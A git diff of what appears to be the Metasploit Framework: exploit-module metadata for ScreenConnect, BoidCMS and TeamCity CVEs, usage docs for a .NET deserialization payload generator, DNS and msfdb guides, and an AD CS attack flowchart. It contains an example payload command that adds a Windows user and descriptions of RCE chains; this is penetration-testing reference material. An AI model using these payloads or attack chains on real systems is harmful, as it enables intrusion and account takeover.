||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Windows In-Memory",
|
||||
"Windows Command",
|
||||
"Linux Command"
|
||||
],
|
||||
"mod_time": "2024-02-23 17:48:01 +0000",
|
||||
"path": "/modules/exploits/multi/http/connectwise_screenconnect_rce_cve_2024_1709.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/connectwise_screenconnect_rce_cve_2024_1709",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"config-changes",
|
||||
"account-lockouts"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/cups_bash_env_exec": {
|
||||
"name": "CUPS Filter Bash Environment Variable Code Injection (Shellshock)",
|
||||
"fullname": "exploit/multi/http/cups_bash_env_exec",
|
||||
@@ -97929,6 +98429,68 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/cve_2023_38836_boidcms": {
|
||||
"name": "BoidCMS Command Injection",
|
||||
"fullname": "exploit/multi/http/cve_2023_38836_boidcms",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2023-07-13",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"1337kid",
|
||||
"bwatters-r7"
|
||||
],
|
||||
"description": "This module leverages CVE-2023-38836, an improper sanitization bug in BoidCMS version 2.0.0\n and below. BoidCMS allows the authenticated upload of a php file as media if the file has\n the GIF header, even if the file is a php file.",
|
||||
"references": [
|
||||
"CVE-2023-38836",
|
||||
"URL-https://github.com/1337kid/CVE-2023-38836"
|
||||
],
|
||||
"platform": "",
|
||||
"arch": "cmd",
|
||||
"rport": 80,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"nix Command",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2024-02-29 12:42:22 +0000",
|
||||
"path": "/modules/exploits/multi/http/cve_2023_38836_boidcms.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/cve_2023_38836_boidcms",
|
||||
"check": true,
|
||||
"post_auth": true,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs",
|
||||
"artifacts-on-disk"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/dexter_casinoloader_exec": {
|
||||
"name": "Dexter (CasinoLoader) SQL Injection",
|
||||
"fullname": "exploit/multi/http/dexter_casinoloader_exec",
|
||||
@@ -100606,6 +101168,70 @@
|
||||
"session_types": false,
|
||||
"needs_cleanup": null
|
||||
},
|
||||
"exploit_multi/http/jetbrains_teamcity_rce_cve_2024_27198": {
|
||||
"name": "JetBrains TeamCity Unauthenticated Remote Code Execution",
|
||||
"fullname": "exploit/multi/http/jetbrains_teamcity_rce_cve_2024_27198",
|
||||
"aliases": [
|
||||
|
||||
],
|
||||
"rank": 600,
|
||||
"disclosure_date": "2024-03-04",
|
||||
"type": "exploit",
|
||||
"author": [
|
||||
"sfewer-r7"
|
||||
],
|
||||
"description": "This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated\n attacker can leverage this to access the REST API and create a new administrator access token. This token\n can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve\n unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist\n so the exploit will instead create a new administrator account before uploading a plugin. Older version of\n TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed,\n however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code\n execution instead, as this is supported on all versions tested.",
|
||||
"references": [
|
||||
"CVE-2024-27198",
|
||||
"URL-https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/",
|
||||
"URL-https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/"
|
||||
],
|
||||
"platform": "Java,Linux,Unix,Windows",
|
||||
"arch": "java, cmd",
|
||||
"rport": 8111,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8000,
|
||||
8888,
|
||||
8880,
|
||||
8008,
|
||||
3000,
|
||||
8443
|
||||
],
|
||||
"autofilter_services": [
|
||||
"http",
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Java",
|
||||
"Java Server Page",
|
||||
"Windows Command",
|
||||
"Linux Command",
|
||||
"Unix Command"
|
||||
],
|
||||
"mod_time": "2024-03-13 09:58:51 +0000",
|
||||
"path": "/modules/exploits/multi/http/jetbrains_teamcity_rce_cve_2024_27198.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/jetbrains_teamcity_rce_cve_2024_27198",
|
||||
"check": true,
|
||||
"post_auth": false,
|
||||
"default_credential": false,
|
||||
"notes": {
|
||||
"Stability": [
|
||||
"crash-safe"
|
||||
],
|
||||
"Reliability": [
|
||||
"repeatable-session"
|
||||
],
|
||||
"SideEffects": [
|
||||
"ioc-in-logs"
|
||||
]
|
||||
},
|
||||
"session_types": false,
|
||||
"needs_cleanup": true
|
||||
},
|
||||
"exploit_multi/http/jira_hipchat_template": {
|
||||
"name": "Atlassian HipChat for Jira Plugin Velocity Template Injection",
|
||||
"fullname": "exploit/multi/http/jira_hipchat_template",
|
||||
@@ -101622,7 +102248,7 @@
|
||||
"Unix Command",
|
||||
"Linux Dropper"
|
||||
],
|
||||
"mod_time": "2023-11-10 05:28:10 +0000",
|
||||
"mod_time": "2024-03-04 20:33:27 +0000",
|
||||
"path": "/modules/exploits/multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/manageengine_servicedesk_plus_saml_rce_cve_2022_47966",
|
||||
@@ -107080,7 +107706,7 @@
|
||||
"Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux",
|
||||
"Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows"
|
||||
],
|
||||
"mod_time": "2023-10-26 14:03:06 +0000",
|
||||
"mod_time": "2024-02-22 17:13:44 +0000",
|
||||
"path": "/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/http/splunk_privilege_escalation_cve_2023_32707",
|
||||
@@ -114510,7 +115136,7 @@
|
||||
"Windows",
|
||||
"Linux"
|
||||
],
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-19 10:34:16 +0000",
|
||||
"path": "/modules/exploits/multi/mysql/mysql_udf_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/mysql/mysql_udf_payload",
|
||||
@@ -114520,7 +115146,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
@@ -114841,7 +115467,7 @@
|
||||
"Windows - PowerShell (In-Memory)",
|
||||
"Windows (CMD)"
|
||||
],
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/exploits/multi/postgres/postgres_copy_from_program_cmd_exec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/postgres/postgres_copy_from_program_cmd_exec",
|
||||
@@ -114851,7 +115477,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
@@ -114890,7 +115516,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/exploits/multi/postgres/postgres_createlang.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "multi/postgres/postgres_createlang",
|
||||
@@ -114900,7 +115526,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
@@ -162422,9 +163048,9 @@
|
||||
"URL-https://github.com/horizon3ai/CVE-2022-47966",
|
||||
"URL-https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis"
|
||||
],
|
||||
"platform": "Windows",
|
||||
"platform": "Java,Windows",
|
||||
"arch": "",
|
||||
"rport": 8443,
|
||||
"rport": 8020,
|
||||
"autofilter_ports": [
|
||||
80,
|
||||
8080,
|
||||
@@ -162441,10 +163067,11 @@
|
||||
"https"
|
||||
],
|
||||
"targets": [
|
||||
"Java (in-memory)",
|
||||
"Windows EXE Dropper",
|
||||
"Windows Command"
|
||||
],
|
||||
"mod_time": "2023-01-29 10:06:14 +0000",
|
||||
"mod_time": "2024-02-22 23:19:58 +0000",
|
||||
"path": "/modules/exploits/windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/http/manageengine_endpoint_central_saml_rce_cve_2022_47966",
|
||||
@@ -180411,7 +181038,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/exploits/windows/mssql/lyris_listmanager_weak_pass.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mssql/lyris_listmanager_weak_pass",
|
||||
@@ -180739,7 +181366,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-02-13 13:00:38 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/exploits/windows/mssql/mssql_linkcrawler.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mssql/mssql_linkcrawler",
|
||||
@@ -180793,7 +181420,7 @@
|
||||
"targets": [
|
||||
"Automatic"
|
||||
],
|
||||
"mod_time": "2024-02-12 15:47:49 +0000",
|
||||
"mod_time": "2024-03-12 14:09:22 +0000",
|
||||
"path": "/modules/exploits/windows/mssql/mssql_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mssql/mssql_payload",
|
||||
@@ -180803,7 +181430,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MSSQL"
|
||||
"mssql"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
@@ -180899,7 +181526,7 @@
|
||||
"targets": [
|
||||
"MySQL on Windows prior to Vista"
|
||||
],
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-28 17:18:43 +0000",
|
||||
"path": "/modules/exploits/windows/mysql/mysql_mof.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mysql/mysql_mof",
|
||||
@@ -180909,7 +181536,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": [
|
||||
@@ -180948,7 +181575,7 @@
|
||||
"targets": [
|
||||
"MySQL on Windows"
|
||||
],
|
||||
"mod_time": "2024-02-05 16:45:52 +0000",
|
||||
"mod_time": "2024-02-28 17:18:43 +0000",
|
||||
"path": "/modules/exploits/windows/mysql/mysql_start_up.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/mysql/mysql_start_up",
|
||||
@@ -180958,7 +181585,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"MySQL"
|
||||
"mysql"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": [
|
||||
@@ -182048,7 +182675,7 @@
|
||||
"Windows x86",
|
||||
"Windows x64"
|
||||
],
|
||||
"mod_time": "2024-01-24 13:47:22 +0000",
|
||||
"mod_time": "2024-02-19 10:57:53 +0000",
|
||||
"path": "/modules/exploits/windows/postgres/postgres_payload.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/postgres/postgres_payload",
|
||||
@@ -182058,7 +182685,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"PostgreSQL"
|
||||
"postgresql"
|
||||
],
|
||||
"needs_cleanup": true,
|
||||
"actions": [
|
||||
@@ -185496,7 +186123,7 @@
|
||||
"MOF upload",
|
||||
"Command"
|
||||
],
|
||||
"mod_time": "2023-11-24 14:30:40 +0000",
|
||||
"mod_time": "2024-02-02 14:26:43 +0000",
|
||||
"path": "/modules/exploits/windows/smb/psexec.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/psexec",
|
||||
@@ -185506,7 +186133,7 @@
|
||||
"notes": {
|
||||
},
|
||||
"session_types": [
|
||||
"SMB"
|
||||
"smb"
|
||||
],
|
||||
"needs_cleanup": null,
|
||||
"actions": [
|
||||
@@ -185674,7 +186301,7 @@
|
||||
"MOF upload",
|
||||
"Command"
|
||||
],
|
||||
"mod_time": "2024-01-30 16:38:00 +0000",
|
||||
"mod_time": "2024-02-22 14:18:29 +0000",
|
||||
"path": "/modules/exploits/windows/smb/smb_relay.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/smb/smb_relay",
|
||||
@@ -256490,7 +257117,7 @@
|
||||
"autofilter_ports": null,
|
||||
"autofilter_services": null,
|
||||
"targets": null,
|
||||
"mod_time": "2022-11-17 16:49:11 +0000",
|
||||
"mod_time": "2024-02-29 07:12:37 +0000",
|
||||
"path": "/modules/post/windows/gather/bloodhound.rb",
|
||||
"is_install_path": true,
|
||||
"ref_name": "windows/gather/bloodhound",
|
||||
|
||||
+1
-1
@@ -32,7 +32,7 @@ exclude:
|
||||
# just-the-docs config
|
||||
mermaid_enabled: true
|
||||
mermaid:
|
||||
version: "9.2.2"
|
||||
version: "10.8.0"
|
||||
heading_anchors: true
|
||||
aux_links_new_tab: true
|
||||
aux_links:
|
||||
|
||||
@@ -82,24 +82,41 @@ Generate a .NET deserialization payload that will execute an operating system
|
||||
command using the specified gadget chain and formatter.
|
||||
|
||||
Available formatters:
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
* BinaryFormatter
|
||||
* LosFormatter
|
||||
* SoapFormatter
|
||||
|
||||
Available gadget chains:
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
* ClaimsPrincipal
|
||||
* DataSet
|
||||
* DataSetTypeSpoof
|
||||
* ObjectDataProvider
|
||||
* TextFormattingRunProperties
|
||||
* TypeConfuseDelegate
|
||||
* WindowsIdentity
|
||||
|
||||
Example: ./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TextFormattingRunProperties
|
||||
Available HMAC algorithms: SHA1, HMACSHA256, HMACSHA384, HMACSHA512, MD5
|
||||
|
||||
Specific options:
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
-h, --help Show this message
|
||||
Examples:
|
||||
./dot_net.rb -c "net user msf msf /ADD" -f BinaryFormatter -g TypeConfuseDelegate -o base64
|
||||
./dot_net.rb -c "calc.exe" -f LosFormatter -g TextFormattingRunProperties \
|
||||
--viewstate-validation-key deadbeef --viewstate-validation-algorithm SHA1
|
||||
|
||||
General options:
|
||||
-h, --help Show this message
|
||||
-c, --command <String> The command to run
|
||||
-f, --formatter <String> The formatter to use (default: BinaryFormatter)
|
||||
-g, --gadget <String> The gadget chain to use (default: TextFormattingRunProperties)
|
||||
-o, --output <String> The output format to use (default: raw, see: --list-output-formats)
|
||||
--list-output-formats List available output formats, for use with --output
|
||||
|
||||
ViewState related options:
|
||||
--viewstate-generator <String>
|
||||
The ViewState generator string to use
|
||||
--viewstate-validation-algorithm <String>
|
||||
The validation algorithm (default: SHA1, see: Available HMAC algorithms)
|
||||
--viewstate-validation-key <HexString>
|
||||
The validationKey from the web.config file
|
||||
```
|
||||
|
||||
The `-g` / `--gadget` option maps to the *gadget_chain* argument for the
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
# Metasploit DNS
|
||||
## Background
|
||||
Most applications that need to handle hostname to IP address lookups rely on the host operating system, either by
|
||||
passing the hostname directly to the socket-creation function or by calling a purpose built API such as `getaddrinfo`.
|
||||
This was also how Metasploit handled name lookups and would only directly communicate with a DNS server when the request
|
||||
was more involved than mapping a hostname to an IPv4 or IPv6 address.
|
||||
|
||||
One flaw in this approach is that when pivoting connections over a session, the DNS lookups would occur through the host
|
||||
on which Metasploit was running instead of the compromised host from which the connection would originate. This lead to
|
||||
two issues, the first being the aforementioned DNS leaks and the second that Metasploit could not always resolve
|
||||
hostnames that the compromised system could.
|
||||
|
||||
Starting in Metasploit 6.4, Metasploit uses an internal DNS resolution system that grants the user a high degree of
|
||||
control over the process of DNS queries.
|
||||
|
||||
## The DNS command
|
||||
Metasploit's DNS configuration is controlled by the `dns` command which has multiple subcommands. This command is only
|
||||
available when the `dns` feature is enabled (`features set dns true`). Once enabled, the current configuration can be
|
||||
printed by running `dns print`.
|
||||
|
||||
```
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
Current cache size: 0
|
||||
|
||||
Resolver rule entries
|
||||
=====================
|
||||
|
||||
# Rule Resolver Comm channel
|
||||
- ---- -------- ------------
|
||||
1 *
|
||||
. \_ static N/A
|
||||
. \_ 127.0.0.53
|
||||
|
||||
|
||||
Static hostnames
|
||||
================
|
||||
|
||||
Hostname IPv4 Address IPv6 Address
|
||||
-------- ------------ ------------
|
||||
localhost 127.0.0.1 ::1
|
||||
\_ 127.1.1.1
|
||||
localhost.localdomain 127.0.0.1 ::1
|
||||
localhost4 127.0.0.1
|
||||
localhost4.localdomain4 127.0.0.1
|
||||
localhost6 ::1
|
||||
localhost6.localdomain6 ::1
|
||||
```
|
||||
|
||||
The `help` subcommand can be used to display the available subcommands. The name of a subcommand can also be specified
|
||||
as an argument to `help` to display additional information about that subcommand, for example `dns help add`.
|
||||
|
||||
Metasploit's DNS system is composed of the following major components: resolver rules, static entries and the cache.
|
||||
|
||||
## DNS Resolver Rules
|
||||
DNS resolver rules are a single wildcard that is associated with zero or more resolver types. When a query name matches
|
||||
the wildcard expression, the associated resolvers are used in succession until one is capable of fulfilling the request.
|
||||
For example, a wildcard pattern of `*.lab.lan` would match `www.lab.lan` and `_ldap._tcp.lab.lan`, but not `lab.lan` or
|
||||
`msflab.lan`. Furthermore, the `*` wildcard pattern matches everything and should be used as a default rule.
|
||||
|
||||
Once a rule that matches the query name is found, the specified resolvers will be tried in order until one is capable of
|
||||
handling the request. Different resolver types can be specified to handle queries in different ways. Rules are listed
|
||||
in numeric order starting at position 1. Rules can be added to or removed from specific positions in a similar manner to
|
||||
how iptables rules can be added to and removed from a specific chain.
|
||||
|
||||
### The Blackhole Resolver
|
||||
The blackhole resolver can be used to prevent queries from being resolved. It handles all query types and will prevent
|
||||
resolvers defined after it from being used. The blackhole resolver is specified by using the `blackhole` keyword.
|
||||
|
||||
### The Upstream Resolver
|
||||
An upstream resolver can be used by specifying either an IPv4 or IPv6 address. When Metasploit uses this resolver, the
|
||||
defined host will be contacted over the network. A session can optionally be defined through which network traffic will
|
||||
be sent.
|
||||
|
||||
### The System Resolver
|
||||
The system resolver can be used for hostname resolution to either IPv4 or IPv6 addresses by invoking the host operating
|
||||
system's API. This is particularly useful in cases where the system's API is expected to be hooked by an external entity
|
||||
such as proxychains. The system resolver is specified by using the `system` keyword. Queries that can not be fulfilled
|
||||
by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the next resolver that is
|
||||
configured in the rule.
|
||||
|
||||
### The Static Resolver
|
||||
The static resolver can be used for hostname resolution to either IPv4 or IPv6 addresses through a static mapping that
|
||||
is configured within Metasploit. This functionality is analogous to the `hosts` file found on many systems which defines
|
||||
static hostname to IP address associations. The static resolver is specified by using the `static` keyword. Queries that
|
||||
can not be fulfilled by simply translating the query name to an IP address (e.g. PTR, TXT and SRV queries) will use the
|
||||
next resolver that is configured in the rule.
|
||||
|
||||
See [Static DNS Entries](#static-dns-entries) for configuring static entries.
|
||||
|
||||
### Example Rules
|
||||
|
||||
Define a single rule in the first position to handle all queries through three resolvers, first checking if there is a
|
||||
static entry in Metasploit then using the system resolver and finally specifying an upstream DNS server to handle any
|
||||
other query type.
|
||||
|
||||
```
|
||||
dns add --index 1 --rule * static system 192.0.2.1
|
||||
```
|
||||
|
||||
Append a rule to the end that will handle all queries for `*.lab.lan` using an upstream server contacted through session
|
||||
1.
|
||||
|
||||
```
|
||||
dns add --rule *.lab.lan --session 1 192.0.2.1
|
||||
```
|
||||
|
||||
## Static DNS Entries
|
||||
Static entries used by the static resolver are configured through the `add-static` and `remove-static` subcommands. The
|
||||
currently configured entries can be viewed in the `dns print` output and all entries can be flushed with the
|
||||
`flush-static` subcommand. Static entries that are configured are shared across *all* rules in which a static resolver
|
||||
is specified. In order for the static entry to be used, at least one rule must match the hostname, and that rule must be
|
||||
configured to use the static resolver. A single hostname can be associated with multiple IP addresses and the same IP
|
||||
address can be associated with multiple hostnames.
|
||||
|
||||
## The DNS Cache
|
||||
DNS query replies are cached internally by Metasploit based on their TTL. This intends to minimize the amount of network
|
||||
traffic required to perform the necessary lookups. The number of query replies that are currently cached is available in
|
||||
the `dns print` output and all replies can be flushed with the `flush-cache` subcommand.
|
||||
|
||||
## Configuration Management
|
||||
The DNS configuration can be saved using the `save` command from the `msfconsole` command context. Once saved, the
|
||||
settings will be automatically restored the next time Metasploit starts up. Any changes that are made at runtime will be
|
||||
lost when Metasploit exits, unless the `save` command is used.
|
||||
|
||||
### Resetting the Configuration
|
||||
The DNS configuration can be restored to the default state by using the `reset-config` subcommand. The default
|
||||
configuration:
|
||||
|
||||
* Populates the static entries from the host operating system's `hosts` file
|
||||
* Defines a single rule that matches all query names whose first resolver is the `static` resolver and the remaining
|
||||
resolvers are set from the host operating systems' resolv.conf file
|
||||
|
||||
## Resolving hostnames
|
||||
The `resolve` subcommand can be used to resolve a hostname to either an IPv4 or IPv6 address. In doing so, the rule that
|
||||
was used to define the resolvers will be printed allowing the wildcard matching logic to be tested.
|
||||
@@ -29,7 +29,7 @@ All of the above features can also be logically separated within workspaces. By
|
||||
|
||||
## Using msfdb
|
||||
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`.
|
||||
Using msfdb is simple. If you are starting the database for the first time navigate to the folder Metasploit is saved to, and run `./msfdb init`
|
||||
```
|
||||
Creating database at /Users/your_current_account_name/.msf4/db
|
||||
Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
@@ -39,9 +39,14 @@ Starting database at /Users/your_current_account_name/.msf4/db...success
|
||||
Creating initial database schema
|
||||
```
|
||||
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information.
|
||||
This looks like a lot of information, but all it's saying is that it's creating the database Metasploit will use to store information. If you start up msfconsole now it should automatically connect to the database, and if you run `db_status` you should see something like this:
|
||||
|
||||
msfdb then needs to establish the credentials that are used in the Web Service. The Web Service is how Metasploit connects to the database we have just created. The first prompt asks you what username you want to use to connect to the database.
|
||||
```
|
||||
msf6 > db_status
|
||||
[*] Connected to msf. Connection type: postgresql.
|
||||
```
|
||||
|
||||
You can also setup a Web Service, which Metasploit can use to connect to the database you have just created. Msfdb needs to establish the credentials that are used in the Web Service. If you run `msfdb --component webservice init` the first prompt asks you what username you want to use to connect to the database:
|
||||
|
||||
```
|
||||
[?] Initial MSF web service account username? [your_current_account_name]:
|
||||
|
||||
+118
-34
@@ -5,18 +5,39 @@ for testing purposes.
|
||||
# Introduction to AD CS Vulnerabilities
|
||||
```mermaid
|
||||
flowchart TD
|
||||
escexp[Find vulnerable certificate templates\nvia ldap_esc_vulnerable_cert_finder] --> icpr[Issue certificates via icpr_cert]
|
||||
icpr[Issue certificates via icpr_cert] --> ESC1{{ESC1}}
|
||||
ESC1{{ESC1}} -- Via PKINIT --> pkinit{Authenticate to Kerberos}
|
||||
icpr[Issue certificates via icpr_cert] --> users[Request certificates on behalf of other users]
|
||||
users[Request certificates on behalf of other users] --> ESC2{{ESC2}}
|
||||
users[Request certificates on behalf of other users] --> ESC3{{ESC3}}
|
||||
ESC2{{ESC2}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ESC3{{ESC3}} -- Via PKINIT --> pkinit[Authenticate to Kerberos]
|
||||
ad_cs_template[Reconfigure certificates via ad_cs_cert_template] -- Exploit configuration --> icpr
|
||||
subgraph ad_cs_cert_templates[<b>ad_cs_cert_templates</b>]
|
||||
ESC4(ESC4)
|
||||
update_template[<i>Update Template</i>]
|
||||
ESC4 --> update_template
|
||||
end
|
||||
subgraph icpr_cert[<b>icpr_cert</b>]
|
||||
ESC1(ESC1)
|
||||
ESC2(ESC2)
|
||||
ESC3(ESC3)
|
||||
ESC13(ESC13)
|
||||
alt_subject[<i>Alternate Subject Issuance</i>]
|
||||
as_eagent[<i>Enrollment Agent Issuance</i>]
|
||||
normal[<i>Normal Issuance</i>]
|
||||
|
||||
ESC1 --> alt_subject
|
||||
ESC2 --> as_eagent
|
||||
ESC3 --> as_eagent
|
||||
ESC13 --> normal
|
||||
as_eagent -- use new certificate --> normal
|
||||
end
|
||||
subgraph kerberos/get_ticket[<b>kerberos/get_ticket</b>]
|
||||
PKINIT[<i>PKINIT</i>]
|
||||
end
|
||||
subgraph ldap_esc_vulnerable_cert_finder[<b>ldap_ecs_vulnerable_cert_finder</b>]
|
||||
find_vulnerable_templates[<i>Find Vulnerable Templates</i>]
|
||||
end
|
||||
alt_subject --> PKINIT
|
||||
find_vulnerable_templates --> icpr_cert
|
||||
normal --> PKINIT
|
||||
update_template --> ESC1
|
||||
```
|
||||
|
||||
The chart above showcases how one can go about attacking four common AD CS
|
||||
The chart above showcases how one can go about attacking five unique AD CS
|
||||
vulnerabilities, taking advantage of various flaws in how certificate templates are
|
||||
configured on an Active Directory Certificate Server.
|
||||
|
||||
@@ -30,8 +51,7 @@ administrator via Kerberos.
|
||||
Each certificate template vulnerability that will be discussed here has a ESC code, such
|
||||
as ESC1, ESC2. These ESC codes are taken from the original whitepaper that
|
||||
SpecterOps published which popularized these certificate template attacks, known as
|
||||
[Certified
|
||||
Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
[Certified Pre-Owned](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf).
|
||||
In this paper Will Schroeder and Lee Christensen described 8 different domain escalation
|
||||
attacks that they found they could conduct via misconfigured certificate templates:
|
||||
|
||||
@@ -52,29 +72,30 @@ attacks that they found they could conduct via misconfigured certificate templat
|
||||
- ESC7 - Vulnerable Certificate Authority Access Control
|
||||
- ESC8 - NTLM Relay to AD CS HTTP Endpoints
|
||||
|
||||
Later, another
|
||||
[blog](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
came out from Oliver Lyak which discovered ESC9 and ESC10, two more vulnerabilities that
|
||||
could allow normal domain joined users to abuse certificate template misconfigurations to
|
||||
gain domain administrator privileges.
|
||||
Later, additional techniques were disclosed by security researchers:
|
||||
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in
|
||||
`msPKI-EnrollmentFlag`. Also `StrongCertificateBindingEnforcement` not set to 2 or
|
||||
`CertificateMappingMethods` contains `UPN` flag.
|
||||
- ESC10 - Weak Certificate Mappings -
|
||||
`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
CertificateMappingMethods` contains `UPN` bit aka `0x4` or
|
||||
`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement` is set to `0`.
|
||||
- ESC9 - No Security Extension - CT_FLAG_NO_SECURITY_EXTENSION flag set in `msPKI-EnrollmentFlag`. Also
|
||||
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
|
||||
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
|
||||
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
|
||||
